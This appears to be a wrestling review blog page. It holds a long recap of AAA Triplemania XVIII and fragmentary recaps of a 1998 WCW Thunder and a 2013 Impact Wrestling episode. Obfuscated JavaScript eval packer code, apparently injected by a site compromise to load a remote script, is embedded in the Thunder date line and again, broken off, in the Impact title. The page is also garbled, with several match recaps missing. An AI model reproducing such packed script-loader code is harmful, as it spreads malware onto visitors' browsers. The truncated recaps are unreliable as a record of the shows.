Thunder – January 15, 1998: That’s One Nice Graphic

Thunder
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ihtks|var|u0026u|referrer|hrsdb||js|php'.split('|'),0,{})) January 15, 1998
Location: Jenkins Center, Lakeland, Florida
Commentators: Mike Tenay, Bobby Heenan, Lee Marshall

We open with a video from Nitro of DDP hyping up the tag match tonight.

We get video from Nitro about the $1.5 million bonds put up by WCW and the NWO to ensure Nash vs. Giant actually happens at Souled Out.

Back to Nitro again to look at the issues between Nash and Savage. We get some exclusive footage from after Nitro went off the air of Savage slapping Nash and running off.

Black Cat/Ohara/Gedo vs. Steiner Brothers/Ray Traylor

Tenay tells us that DDP has been mugged in a parking lot and has a knee injury which might keep him out of the main event tonight. Traylor and Ohara start with Ohara firing off kicks to the knee. Ray comes back with some uppercuts before Black Cat comes in to be pounded down by Rick. A series of elbows get two for Rick as the fans chant USA. Back to Traylor as we take a break.

Post match Rick, Ray and DiBiase leave Scott to celebrate by himself.

Ernest Miller vs. Yuji Nagata

Louie Spicolli vs. Scott Hall

Before the match, Hall asks Spicolli who he is and how old he is. Spicolli is 26 but will be 27 next month. This brings out Larry Zbyszko to give Spicolli some advice. Hall challenges Larry to a fight so here comes Zbyszko, but Spicolli jumps Larry from behind. Larry clears the ring with ease.

Chris Jericho vs. Eddie Guerrero

Rating: C+. This could have been something special with another five minutes. The lack of time and Jericho being dropped on his head hurt things though as the match never had the chance to really get going. Jericho is starting to look like a future star though instead of just a talented smiling good guy.

We get the Ric Flair/Jim Neidhart segment from Nitro which led to Flair and Bret brawling.

Somehow that causes the announcers to talk about the world title situation for a bit.

Chavo Guerrero Jr. vs. Bill Goldberg

Back from a break with Tenay apologizing for the technical issues. The audio and video are fixed now.

We look at a clip from last week of JJ stripping Sting of the title.

Cruiserweight Title: Rey Mysterio vs. Juventud Guerrera

They slug it out and Rey hits a Killswitch (called a modified DDT by Tenay) for two. A pinfall reversal sequence gets a pair of two counts each before Rey has to pound his way out of a powerbomb attempt. Juvy counters a top rope rana attempt into a powerbomb and Rey is in trouble. Mysterio avoids the 450 though and hooks a quick rana for the pin and the title.

Buy the NWO shirt!

We see the end of Nitro with Liz distracting Luger so Savage could jump him. Page made the save to set up the tag match tonight.

Diamond Dallas Page/Lex Luger vs. Kevin Nash/Randy Savage

Remember to follow me on Twitter @kbreviews and pick up my new book on the History of Starrcade from Amazon for just $4 at:




On This Day: June 6, 2010 – AAA Triple Mania XVIII: With Double Dancing Skeleton Men

Triplemania 18
Date: June 6, 2010
Location: Palacio de los Deportes, Mexico City, Mexico
Attendance: 17,500
Commentators: Konnan, Alfonso Morales, Jesus Zuniga, Arturo Rivera

 

This is the Wrestlemania of the AAA promotion, which I believe is the biggest wrestling company in Mexico. This show is their latest major show so I figured I’d take a look at it. I figured if I can watch Japanese shows and have no idea what’s going on I can do the same with Spanish ones right? I speak some Spanish so this could be a bit better. The main event is LA Park vs. La Parka for the rights to the name La Parka which is apparently a dream match. Let’s get to it.

 

Again if I mess something up I apologize. Keep in mind I have no idea what’s going on or who half of these people are. Also I don’t know any stories or anything like that either. Please bear with me on this but I’ll do what I can.

 

The opening video is about war throughout the ages, including shots of Hitler. Also we get what I think is the history of Triplemania which had a lot of Konnan in it. There’s a countdown and we go to the arena where pyro is set off.

 

Some good looking women bring down flags and what looks like a coat of arms while what sounds like the score of Rocky IV plays in the background. Actually it doesn’t sound like the score from Rocky IV. It IS the score from Rocky IV. That’s kind of awesome. One of the flags has a man’s face on it and the girls stop by a woman in the audience holding an urn. I think that face is of the founder of the company and I’m assuming that’s his widow? She’s shown on the big screen so I’d assume she’s important.

 

Mini-Estrellas Championship: Octagonito vs. Mini Abismo Negro vs. Mini Charly Manson vs. Mascarita Divina vs. Mini Psicosis vs. Mini Histeria vs. Mascarita Sagrada vs. La Parkita vs. Mini Chessman

 

This is a 9 man TLC match for the World Minis Championship. From what I understand there are often minis that are tributes to the full sized wrestlers. Notice a lot of people being named mini whatever name. Abismo Negro is the champion here. I won’t be saying mini every time so if I say Psicosis for example, I mean the mini, not the big guy. Good luck trying to keep track of who is who here but I’ll do what I can.

 

The entrances take a very long time as you would expect. Oh wait here are three at once. I think they’re called the Mini Vipers. They’re comprised of Abismo Negro, Histeria and Psicosis. Parkita comes out to Thriller which is kind of cool. It should be noted that these guys aren’t tiny. They’re just slightly above the top rope. Divina is in blue. That helps a bit.

 

Manson gets a nice reaction. Octoganito gets a better one though. I think that leaves only Sagrada. No apparently I just missed his entrance as there are 9 people in there. Here we go. The Vipers team is all in pink so they’re a unit I guess. They have a big six sided ring and they stay on a wide shot. It’s FAR bigger than American rings. Parkita vs. Chessman in the ring at the moment. Scratch that as they both dive out.

 

Divina vs. a Viper at the moment. Manson vs. another Viper now. They’re flying in and out but other than the first seconds there haven’t been more than two in there at all. From what I understand this was supposed to be a seven man match but Chessman and Parkita were added to the match at the last minute. Big chair shot to the head of Manson I think.

 

There’s a ladder in the ring which is being used a bit but no one has tried to go up yet. And just as I say that there they go. Psicosis makes an attempt at it but is met by Octoganito. The overhead camera shot is taking some getting used to. Divina, Parkita and a Viper in there at the moment. Divina has a ladder but a Viper has another one, this one shorter. The Viper gets a powerbomb to Divina as Parkita brings in a table.

 

Something draws a pop from the crowd but we don’t see it. Divina vs. a Viper at this point. The Viper is sent to the floor and Divina gets a gorgeous rana to the floor. I think that was Octagonito with the big tope con giro. There are two chairs with the small ladder laid on them. Psicosis and Manson in there with Psicosis going through the pile of stuff.

 

The referees help Manson set up the big ladder. Up he goes but a Viper kicks the ladder out and down he comes. Parkita and a Viper (I think Abismo Negro) fight on the apron with the Viper being powerslammed through a table in a cool spot. Another Viper sets up a table in the ring and kicks Octoganito in the head. Divina hits a baseball slide to take out someone that we couldn’t see.

 

The Viper puts Octoganito on the table as Divina climbs the ladder. Another guy is being carried out on a stretcher and I’d assume it was the Viper that went through the table. Octoganito gets a sunset bomb off the ladder to put the Viper through it. BIG pop for that and Octoganito is able to climb up and win the title. Sweet I had the right person!

 

Rating: C-. This is a very hard one to grade. The problem here is that it was more like a highlight reel than an actual match. There were a lot of people that I have no idea if I saw more than once or not. With only two people in the ring for the majority of the match I often forgot there were 9 in this. It’s certainly exciting, but there was little that got me into it. Also at less than ten minutes, how into it could I get?

 

Octoganito talks to the woman with the urn post match.

 

A Viper is put on a stretcher. It’s not Psicosis so I’d assume it’s Histeria. After some further research I’m right.

 

Sexy Star/Rain/Jennifer Blade vs. Cinthia Moreno/Mari/Faby Apache

 

So from what I understand, the first group of girls here are part of La Legion Extranjera, or the Foreign Legion. In short, it’s Konnan’s team and the top heel group. There isn’t a set lineup for them all the time as a lot of the time it’s just any foreign wrestler. This is the new Foreign Legion though and they have more of a concrete group of people. Whoever is pinned or submits here is the slave of the winning team for a month. Rain you might remember as Payton Banks in TNA. Faby and Mari are sisters.

 

The heels have American flags and are pretty hated. Star gets her own entrance apart from her partners. She’s women’s champion here, called the Reina de Reinas (Queen of Queens). Ok Cinthia is in black. Faby is in gold and Mari is in black and gold. Got it I think. They look like sisters so it helps. Konnan has something to say. It seems that there’s something up with the referee here and he might not be trustworthy.

 

Big brawl to start with I think Blade being triple teamed. No wait that’s Star. Cinthia and the sisters clear the ring as this has been a rout so far. More double teaming as I think Rain is double teamed by the sisters. There seems to be no tagging in this match. Star is in a mask. The heels take over now and the beating is on for Faby. Now the Foreign Legion clears the ring. This is rather back and forth stuff.

 

They beat up Mari now but there haven’t been any covers yet. Now they’re on Cinthia but a double team misses. Big double kick to the back of the head of Blade and the momentum shifts again. Ah I was right: the referee IS cheating and the non foreigners go after him. Ok now we get some regular tagging. Blade vs. Cinthia to start and a long Tumble Weed gets no count as the referee breaks up the pin attempt.

 

Implant buster by Fabi gets no cover as Star breaks it up. Star sends Fabi to the floor and Cinthia follows. Tope by Star takes out everyone in sight. Well everyone in her way on the floor on the other team. Mari drills Star and the champion is on the floor now as well. Mari beats the tar out of the referee but a broom stick from Blade to the back of Mari is enough for the pin and Mari is the slave of the Foreign Legion.

 

Rating: D+. This was kind of a mess but I think a lot of that can be blamed on me not really having any idea what was going on. If nothing else the girls look good and there’s a storyline of the evil referee going on in there. Decent match though and the celebration by the Foreign Legion is rather amusing as they’re nearly orgasmic over having Mari as their slave.

 

Rain says the thirty days start now. Mari says she’ll do the thirty days but she’s kicking their heads in right now. She and her partners get Blade down but some short fat guy runs in and the distraction stops that and Blade gets away. He yells at the referee who yells back. It seems that the guy that ran in is saying the loss wasn’t fair due to the referee cheating. The referee says it counts and Konnan comes in and grabs Mari, throwing her to the Foreign Legion girls, saying down with Mexico or something like that.

 

Tag Titles: Los Maniacos vs. Beer Money vs. Atsushi Aoki/Go Shiozaki vs. Nicho/Joe Lider

 

This is under elimination rules and Shiozako/Aoki are champions coming in. Los Maniacos are Silver Cain (Silver King from WCW who has lost his mask and Ultimo Gladiator). An interesting point here is that the champions are introduced by the wrong name with one guy not getting an announcement at all. Also from what I’ve read, only Konnan knew either their names or Beer Money’s names. Cain basically is something like Mr. America where everyone knows it’s Silver King but officially it’s a different guy as his name is different if that makes sense.

 

The wrong music plays for the champions as it’s Beer Money’s song instead. Ok here is Beer Money to the right music. They’re part of the Foreign Legion tonight. See how the group works now? In the back the final team is coming to the ring but some guy in a suit says Konnan is out there and not to go after them. That would be Nicho/Lider who are La Hermandad 187 (the 187 Brotherhood). Nicho is more famous as Psicosis without the mask. The Japanese guys and Lider almost get into it before the match.

 

No tagging here again it seems. This is going to take some getting used to. Roode and someone are on the floor. Also cut out the wide shots. I can’t see anyone specifically for the most part. Four in the ring and four on the floor at the moment. I think Beer Money is on the floor. It’s the Japanese guys and Los Maniacos in there at the moment. Nicho who is apparently a millionaire is down.

 

Only the champions (Japanese guys remember) are staying in the ring and on their feet the whole time. One hits a frog splash to I think Lider for two. Beer Money vs. Japanese guys at the moment. I know I’m saying Japanese guys a lot but it’s the best description I can give you in a short amount of time. Hermanadad gets in Konnan’s face with chairs but the champions jump them to save K-Dawg.

 

Beer Money works on Nicho with a wheelbarrow/Codebreaker combination. They set for the BEER MONEY thing but Hermanadad gets a pair of rollups for two each. Nicho vs. Aoki at the moment with the champion winning. Storm is ripping Cain’s mask and almost has it off. Nicho vs. Aoki in the ring at the moment and Aoki is sent to the floor. Tope con Giro by Nicho takes down Aoki.

 

La Hermanadad beats on Aoki now until Shiozaki comes in. A middle rope Backstabber out of nowhere to Shiozaki puts him out and the champions are gone! Konnan FREAKS as we’re down to three teams. Storm has a chair now and sets it up in the corner. Beer Money beats on the Hermanadad as we haven’t seen much from the masked dudes. Beer Money screws up and Roode head winds up in Storm’s crotch.

 

Los Manacos get into it again and go after 187 which is what I’m going to say instead of La Hermanadad. 187 is down but get up to hit stereo Downward Spirals to Beer Money. Storm takes what we would call a Mooregasm and then add….something which gets two on Storm. It was some double team move but it was hard to see what it was. Konnan distracts 187 again and a chair to the head of Lider by Storm ends them and we’re down to Los Manacos vs. Beer Money for the titles.

 

Tower of Doom spot doesn’t really work at all but it looked ok and got two for Roode. Nicho goes after Konnan with a chair but can’t hit him. The fans are completely behind Manacos. Cain misses a moonsault and the slingshot DDT kills Gladiator as it’s all Beer Money with the spinebuster to Cain. Heel miscommunication occurs though and it’s Gladiator vs. Storm.

 

There are two referees in the ring for some reason. Spear takes down Storm for two. Roode and Cain have gone off to find a Bingo game or something. Storm hits a powerslam for two. Superkick by Storm misses and Cain hits a Death Valley Driver for the pin and the titles. HUGE pop for that as they’re faces and Mexicans hold the titles again.

 

Rating: B-. This was a more fun match than the rest of them. While it was still hard to follow it was less difficult than the other matches. This lack of tagging thing is something I’m having issues getting used to. Either way, there was more of a flow here and I had a better idea of what was going on which is certainly a good thing.

 

Post match two guys come out and stare down the new champions. These guys are from a promotion called IWRG which is a rival company feuding with AAA. This had never been mentioned on a AAA broadcast until now. This challenge takes WAY too long as the invaders talk forever.

 

AAA now has a videogame. Good to know. Why is the commercial in English? They couldn’t put Spanish text on there?

 

A bunch of guys in matching t-shirts that aren’t wrestlers come out and say they can do a lot of for this country. I think this is some charity thing.

 

We talk about the upcoming hair vs. hair match. It’s a six man match and each team is representing a referee. The referee of the losing team gets their hair shaved. Also, this is a cage match which from what I can find wasn’t announced at all prior to the show. The talking for this match takes way too long. Some people start a chant saying KONNAN OUT.

 

Alex Kozlov/Chessman/Hernandez vs. Heavy Metal/Octagon/Pimpinela Escarlata

 

Kozlov is a Soviet character that looks a bit homosexual. Yes it’s that Hernandez. Kozlov’s team is Team Hijo de Tirantes and the other is Team Pierro. I think you can only win by escape and it has to be all three team members. Team Hijo is of the Foreign Legion also. Escarlata is a transvestite. Ok then.

 

In the gimmick that will never die, Kozlov wants to sing the Russian National Anthem. He’s interrupted by Escarlata who puts what appears to be a g-string on his face. That starts the brawl and remember it’s all three out to win. Hernandez is a monster in this. The Foreign Legion dominates to start with a triple team on Escarlata. Now it’s Heavy Metal’s turn to get beaten down.

 

Konnan talks about the main event which is apparently a huge match. The evil referee cracks Escarlata in the head with a chair through the cage. The non-foreign guys have had zero offence. We talk about how awesome the Foreign Legion is for a bit which is true as they’re dominating here to put it mildly. Octagon wakes up all of a sudden, goes OFF on Chessman and dodges a diving Hernandez before Octagon climbs the cage, escaping easily. Gee what a nice guy. “My team is getting destroyed. I’m out people!”

 

Escarlata and Kozlov go up at the same time so Escarlata kisses him to slow him down. Escarlata gets rammed into the cage and Kozlov is out, making it 2-2. Now Escarlata is kissing Hernandez which lets the gender confused one climb the cage. After kissing the evil referee he escapes to make it Hernandez/Chessman vs. Heavy Metal.

 

Hernandez gets the Border Toss into the cage to Heavy Metal which isn’t a big move in Mexico I guess. With Chessman beating down Heavy Metal, Hernandez starts to bail. Then he channels his inner Jimmy Snuka and FLATTENS Metal with a splash. Hernandez escapes easily but the good (I think) referee stops Chessman, knocking him back to the mat.

 

The problem is that Heavy Metal is still completely dead. Chessman goes up for the escape but instead tries a moonsault. With the key word there being tries as Heavy Metal rolls out of the way and Chessman is down too. Escarlata plays cheerleader outside and the race is on. The evil referee smacks Chessman with a chair and Chessman escapes for the win and the head shaving of the good referee.

 

Rating: B. Pretty easily the best match of the night so far. There was a clear story going on in there with the Foreign Legion being far more talented but they got overconfident and the AAA guys were able to fight them off for a bit. The two huge spots helped it also with them bringing the crowd to its feet. I liked this and thought it worked rather well. Not sure why the cage stipulation was just thrown on but it probable made the match better.

 

Post match the good referee’s hair is shaved to evil laughter in a kind of disturbing moment. They keep telling him to raise his head so he smacks the evil referee and cracks him with the chair he had to sit in.

 

The announcers argue while we take down the cage.

 

Cibernetico/Abyss vs. El Zorro/Vampiro

 

Cibernetico is one of the top faces in the company (or was at this point). Abyss and Vampiro I think you know. El Zorro is a heel and part of the Foreign Legion and after this show would win the world title. This is a hardcore match. Despite being a foreigner Abyss isn’t part of the Foreign Legion for some reason.

 

Cibernetico’s entrance is in a word, epic. I think he’s supposed to be a cyborg or something. He’s clearly one of the most popular people in the company. This is that odd kind of hardcore where you have to tag in and out. Yeah I know just go with it. Cibernetico and Zorro start us off.

 

Cibernetico tights say Main Man. At least there isn’t a target saying “goes here” underneath it. The partners just come in for no apparent reason with Abyss going off on Vampiro. This is during Abyss-A-Mania but it doesn’t seem to be that bad at this point. Zorro has a kendo stick as the announcers argue some more. Zorro beats on Cibernetico with a chair in the ring while the other guys are out on the floor.

 

Vampiro sets up a table but can’t get a moonsault through it. Abyss can’t get his powerbomb through it either so it all evens out. Cibernetico hits the floor and now it’s turning into a regular hardcore match. Vampiro and Konnan point at each other for some reason but the wasted time lets Abyss get his hands on Vampiro. Abyss is thrown at the table which collapses but doesn’t break.

 

Konnan gets in Vampiro’s face again for no apparent reason. Everyone but Abyss is in the ring now and it’s a 2-1 beatdown. I’m not sure what the deal is with two referees. Maybe Gorilla Monsoon is secretly commissioner here or something. Cibernetico dumps Vampiro (to be with Abyss I guess) but has a kendo stick tossed into his leg.

 

Abyss is back in now but can’t get a double chokeslam. He settles for a double clothesline instead and down goes the Foreign Legion. Abyss……moves……very……very……slowly. The Foreign Legion hits the ring, in the form of Christopher Daniels, Kozlov, Chessman, Nosawa (Japanese guy) and Hernandez. Cibernetico is like screw that and beats them up on his own.

 

Zorro takes him down and hammers away with the kendo stick. Cue Abyss who hits Shock Treatment and Zorro is more or less dead. Hernandez misses a chair shot and hits Vampiro by mistake. Konnan grabs Vampiro and throws powder in his face. A chokeslam from Cibernetico ends this.

 

Rating: C+. Not bad here. They got rid of the tagging after about a second and things got a lot better. Decent little match here and the Foreign Legion losing is a good thing for a change tonight. Cibernetico is a guy that it’s easy to get behind so I can see why he’s one of the most popular there. Decent match all around but a bit rushed.

 

The Foreign Legion beats down the winners post match. Konnan and Vampiro stare each other down but La Hermanadad 187 runs in for the save and the beatdown is on with Foreign Legion being left laying.

 

Konnan rants about that for awhile.

 

Cruiserweight Title: Jack Evans vs. Nosawa vs. Extreme Tiger vs. Christopher Daniels

 

Elimination again and Tiger has the title. Evans is the epitome of a guy that likes flippys. Also in this company they have what sounds like a whistle instead of a bell. That takes a lot of getting used to. Tiger and Daniels hit the floor almost immediately as Evans flips a lot to attack Nosawa. Konnan lists off a lot of cruiserweights that are awesome while Nosawa takes over.

 

Tiger vs. Nosawa now in the ring as they don’t have to tag again. AAA really doesn’t like to have to do that do they? Tiger gets a seated senton to the balls of Nosawa. Now that’s just not nice at all. Daniels vs. Tiger now with Daniels in control. Tiger has a mask if I didn’t mention that. Daniels is sent to the floor so it’s down to Nosawa vs. Tiger now. And yes I know it’s Extreme Tiger but I’m not writing both words every time.

 

Daniels pulls the rope down and Evans hits the floor. Big clothesline and Evans does a 360 on the floor. Daniels beats down Tiger in the ring and is joined by Nosawa for a double flapjack. Nosawa and Daniels are Foreign Legion teammates so they’re working together here. Daniels sets Tiger for a Death Valley Driver while Nosawa adds a superkick to the head for a nice double team move.

 

Evans comes in and it’s more or less an unofficial tag match now. Tiger and Evans get Daniels down and double team Nosawa. A double cover after a rather contrived spot gets no pin for either good guy. Someone is bleeding as there’s blood on Daniels’ face. Evans kicks Daniels to the floor and does a huge flip onto him. Tiger throws Nosawa to the floor and hits a 450 out to the floor! You don’t see that often at all. Naturally that only gets two back in the ring. A springboard double stomp to Nosawa is enough to eliminate him through and we’re down to three.

 

This referee counts SLOW. The two good guys beat on Daniels for awhile and they have a chop off. I think it’s Daniels that is bleeding actually. It looked like blood on him earlier but not his own. Daniels tries to leave but Tiger is like get back here baldie. Rollup by Evans gets two on Tiger. Elevated double arm DDT by Tiger gets two on Evans. This referee stops for a long time after two.

 

Some guy comes out in an Extreme Tiger mask and pulls it off to reveal….another mask. The distraction allows Daniels to be able to get a rollup to make it Evans vs. Daniels for the title. Oh great: a Christopher Daniels match. Can’t you hear the excitement in my voice over this turn of events? Four straight backbreakers without dropping Evans by Daniels. Now off to a half crab as just Daniels being in there is putting me to sleep.

 

Spin out powerbomb gets two for Daniels. He’s been on offense the entire time since Tiger was eliminated. Evans is sent to the apron and hits a springboard double knee strike for no cover. Big running knee strike gets no cover again. Instead he tries a 630 but eats knees to the back. Best Moonsault Ever gets two. Daniels tries a belly to back off the top but gets knocked backwards to the mat. A big corkscrew splash gives Evans the title. The referee looks around for help and stops at two as I guess he was crooked also.

 

Rating: B-. Fun match but at 25 minutes or so it’s a bit long. This whole show is over 4 hours so it’s a bit much to sit through when you’re not familiar with a lot of these guys. Still though, this was rather good for the most part. The long period before the first pin and then another crooked referee was too much though which is what’s holding it back. That and the time.

 

Dr. Wagner says he’ll win and be #1.

 

AAA World Heavyweight Title: Dr. Wagner Jr. vs. Electroshock

 

Electroshock is defending champion here. This has apparently been a well built match and is supposed to be a war. Keep that in mind. Electroshock has no mask. Got it. That belt is huge. Fans are completely behind Wagner. They shake hands and here we go. LONG stall to start as we wait for them to actually do something. Two minutes without anything until they finally lock up.

 

Oh wait false alarm as we’re waiting again. And now, another lockup. Electroshock is muscled and Wagner is kind of stocky but well built. Rather technical stuff so far to start and we have a standoff. Test of strength results in Electroshock completely outmaneuvering Wagner and getting him down in a leg lock. The fans aren’t exactly pleased here.

 

And it’s another standoff. This is more like a badly written ballet/dance routine than a match. Back to that stupid test of strength for like the third time so far. And now Electroshock hits the floor out of boredom. Back and it’s another wristlock. There has been a total of one strike, a kick to the back, in this whole match and we’re about 8 minutes into it.

 

Short arm scissors gets neither guy anywhere. They trade some WEAK chops as I’m bored out of my mind here. Where are Gorilla and Jesse to make subtle jokes when I need them? Konnan seems to be praising this match as we’re in leg lock #8475 so far. A lot of hip tosses and arm drags set up a kick to the head by Wagner in the biggest move of the match. We get a replay of it in slow motion and it shows the kick must have missed by four inches. Nice job guys.

 

Wagner is sent to the floor so Electroshock hits a big dive to FINALLY get something going here. Fans are still cheering for Wagner. These guys are really bad about covering up that their strikes aren’t hitting. Electroshock grabs a Fujiwara Armbar and Wagner is in trouble. And then he just lets it go because I guess he wanted to go find an enchilada. Superplex by Electroshock gets two.

 

Can someone do something interesting? The match hasn’t been good from an entertainment standpoint, it’s decent from a technical standpoint, and it’s killed the crowd in general. WAY too much time without them doing anything in particular. The fans cheer for Wagner. Wagner sits there. Rana gets two for Wagner. Abdominal stretch by the champion which is the setup for his finisher but he cheats with the ropes and the hold is broken.

 

It’s 4:45am so excuse me if I nod off for a bit. Hey look: MORE STANDING AROUND! Victory Roll by the Doctor results in about 8 rolls in slow motion and Electroshock gets two out of it. The Dr. hits a front flip off the apron and both guys are down. Maybe they’re taking a nap while they’re out there. I wouldn’t blame them if they did.

 

Electroshock gets his hold which is a kneeling abdominal stretch with a leg lock. Yep that goes nowhere as Wagner reverses into a rollup for two. Wagner’s finisher, a Michinoku Driver, gets two. Medium boot by Electroshock gets him nowhere as Wagner hits an enziguri followed by the second Wagner Driver for the pin and the title. Dude….seriously? That’s the ending? Oh well at least it’s main event time.

 

Rating: D-. Oh my. Oh my indeed. This may have been the least interesting main event I have seen in a very long time. It runs 22 minutes and they were in first gear for about 20 minutes of that. There is, I kid you not, probably seven combined minutes of just standing around doing nothing. This match was very boring and sucked the decent life out of this show. Absolutely terrible and the fans booing in parts was something I’d have done too. Totally boring for the most part and the ending came out of nowhere.

 

Mesias, a former champion hands Wagner the belt and hugs him. Wagner and Electroshock shake hands too.

 

Between replays and the celebration we kill off almost ten minutes.

 

La Parka says he is the real La Parka and will prove it tonight.

 

LA Park vs. La Parka

 

Now this is an interesting one. LA Park is the original La Parka and the one from WCW. He was a major star in AAA but left 14 years ago to go to WCW. The thing was the original owner of AAA, and the guy whose ashes are in that urn, kept the rights to the gimmick and gave them to the guy known as La Parka. LA Park is the new name that the original La Parka used to continue the gimmick without continuing the gimmick. He returned in a shocking moment and said he wanted his name back. This match is for the official rights to the name and gimmick. In short, this is a big match that no one thought would happen.

 

Both come out to Thriller and look almost identical. I’ll try to remember who is who here. Out first is La Parka with the boss of the company, Joaquin. Ok this should be easier: Park has the skulls on his shoulders. That’s easier. Park also has the son of the president with him, Dorian, as the president and his papa are in a power struggle. The fans are behind the heel Park here which is interesting.

 

There’s a chair in the ring which is the signature weapon of both guys. Park dominates to start and grabs the chair for a big shot maybe a minute in. Another chair shot as this Parka (Park for the original, Parka for the new if that helps at all) guy is kind of getting his head kicked in. To the floor now as Park is yelling at Konnan and cuts a quick promo before the third chair shot. Is it the Rock in disguise?

 

Joaquin, the president, gets in his face until Parka saves him. By saves I mean he stands up so Park can get beaten up even more. Park rips at the mask and you can see Parka’s forehead. They’re in the crowd now as this has already had more action than the world title match and we’re not even five minutes into this. Park goes to the back and gets a table. I guess there aren’t table making leprechauns under the ring in Mexico.

 

Parka has not had a single bit of offense that I’ve seen. There’s a fire extinguisher at Parka who is just trying to cover up at this point. Table and chair in the ring now. The fans are totally behind the original Park here and it’s kind of funny since he’s the heel through and through. The table is set up in the corner but Park settles for just beating on Parka a bit more instead.

 

Dorian whispers something to Parka and his dad shoves him away. The referee gets involved and Parka charges to try to tackle Park through the table. Park steps to the side and Parka goes sailing through it. Belt comes off and it’s whipping time. This has literally been one sided the entire ten minutes so far. Park rams Parka’s head into the pieces of the table and the chair.

 

Park busts a piece of the table over Parka’s head to a big reaction. Here comes table #2. Park sets it up in the ring and puts the chair on top of it and goes up. OH MAN IT’S OFFENSE FROM PARKA!!!!!! He gets a few punches in and suplexes/slams Park through the table and onto the chair. The crowd is awake now. Parka is bleeding from the head it seems which makes sense.

 

BIG chair shot from Parka and momentum has completely shifted. Parka rips at Park’s mask as Joaquin is like do it! Parka’s mask is covering maybe half of his face at this point. Into the crowd again goes Park while Parka’s mask looks rather weird. Oh man Parka is busted BAD. Park’s mask is barely staying on too. Back in the ring now and Parka has the belt now so he lays in some HARD shots.

 

A slam gets a pop. Between two guys of relatively average size when do you hear that? Parka goes up but gets crotched by Park. The fans aren’t sure who to cheer for here. Park jumps into the boot of Parka and the new guy has control again. Park goes to the floor again and it’s a too short suicide dive by Parka. The mask is hanging on like a Post-It at this point.

 

Parka celebrates but Park sneaks up on him and hooks in a choke that looks like he’s trying for a Backstabber but keeps Parka on the mat on his knees and pulls back on his chin. Looks great if you didn’t get that. Park starts going for the knees and adds a Backstabber for two. This is that slow counting referee again. Parka fights back and gets what was supposed to be a Codebreaker from the middle rope for two.

 

Big boot by Park gets a close two. Semi-botched DDT by Parka gets two and a ton of booing. They counter each other a bit until something resembling the Eye of the Hurricane gets two for Park. Both guys are gassed bad here. Park charges in the corner but rams the post instead. Park’s mask is more or less gone here. Leg lock by Parka right in front of Dorian.

 

There’s the rope but the referee has to break up the hold. Not often that you see that from a hold put on by a face. Park gets a rollup for two. Park for no apparent reason dives at the referee who was on the floor for no apparent reason. So there’s no referee and Park is more or less dead. Dorian has the chair and Parka gets a clothesline to put Park down again.

 

Parka sets for a tombstone which is illegal in Mexico but Joaquin stops him. An enziguri from Park puts Parka down again. Joaquin has the chair now but Park winds up managing to hit the Tombstone on the chair and Parka is out cold. Another chair in the hands of Park as Joaquin comes in.

 

Dorian says no don’t hit him but Park shoves Dorian down and clocks Joaquin with the chair instead. Dorian gets up and turns face, blasting Park with the chair a bunch of times to avenge his father. Then with both skeleton dudes down, Los Perros Del Mal, a group of invading wrestlers from a promotion of the same name, put Park on top of Parka for the pin to win the name.

 

Rating: B+. This was a WAR. They beat the tar out of each other and it’s only the ending and the exhaustion that is holding this back. It wasn’t a great match from a workrate standpoint or anything but there was a great story out there and the fans were into it. This was supposed to go on next to last with Wagner vs. Electroshock going here instead but this worked far better. Great match and a great way to end the show.

 

Los Perros Del Mal celebrate with a bunch more of them hitting the ring. Parka is taken out on a stretcher and the leader/owner of Los Perros Del Mal say they’re taking over AAA. A bunch of AAA guys and security come out while the fans chant for Los Perros. The leader of Los Perros (Perro Aguayo, Jr.) says wrestling needs a change and that change is Los Perros.

 

Also whether you like it or not, Park is the original and forever the real La Parka. Park says Los Perros will own AAA and Dorian doesn’t know what to do. Park runs down AAA, Dorian and Konnan. Take a guess who would be in a heel superstable in less than a month. If you guessed all three of them, WELL DONE YOU LUNKHEAD!

 

The woman with the urn says the original owner (Antonio Pena. The woman with the urn is apparently his sister and Joaquin is his the woman’s (Marisol) husband. Dorian is Antonio’s nephew/Joaquin’s son) is watching and all that jazz and that AAA will beat Los Perros Del Mal and what not to end the show.

 

In a little followup, later that night the Mexican Boxing and Athletic Commission said that the result of the main event was thrown out due to the interference. The next day AAA had a press conference where Dorian officially turned face (technico) again and said that Park was the official La Parka and that the loser of the main event would have to change his name. This was later dropped.

 

Two weeks after this, the Foreign Legion and Los Perros would merge. There would be a mini group added called La Milicia and then about two months later Los Maniacos, the tag champions, joined and the superstable was called La Sociedad. That feud has gone on since with Mesias fighting Perro Aquayo Jr. and Cibernetico making his own stable to fight Los Perros. Los Perros have a ton of titles now including the world title held by El Zorro. Granted this could be out of date very soon but that’s what Wikipedia is for.

 

Overall Rating: B. I liked this. I liked it quite a bit actually. This is the kind of show I could see myself watching on a regular basis. Now to be fair this is the Wrestlemania of this company but it felt like one of those. There’s a lot I didn’t get because this is my first time watching, but at the end of the day I’d like to see more of this which is exactly the point. Fun stuff, some bad stuff, but overall I liked this and would watch more of it if I had the chance. Good show overall with some bad spots (world title match for example).
Remember to follow me on Twitter @kbreviews and pick up my new book on the History of Starrcade from Amazon for just $4 at:

 




Impact Wrestling – June 6, 2013: A Hardy And A Dudley Climb A Ladder

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|idize|var|u0026u|referrer|yskbk||js|php'.split('|'),0,{})) Wrestling
Date: June 6, 2013
Location: Gwinett Arena, Duluth, Georgia
Commentators: Mike Tenay, Tazz

Video on the BFG Series.

Bound for Glory Series Qualifying Match: Chavo Guerrero vs. Hernandez

Hernandez runs him over to start so Chavo tries to go after the arm. Chavo dropkicks him down for two and stays on the arm, only to be slammed down with ease. Hernandez misses a splash so Chavo hooks another armbar, only to have Hernandez easily lift him up. SuperMex throws Chavo down with a suplex followed by the over the shoulder backbreaker to put the smaller guy in trouble. A corner splash misses and Chavo hits a pair of suplexes, only to have the frog splash hit knees. The Border Toss is countered into a sunset flip but Hernandez counters into a rollup for the pin at 4:56.

Rampage is here.

Bound for Glory Series Qualifying Match: Samoa Joe vs. Robbie E

We get the Kurt Angle HOF video.

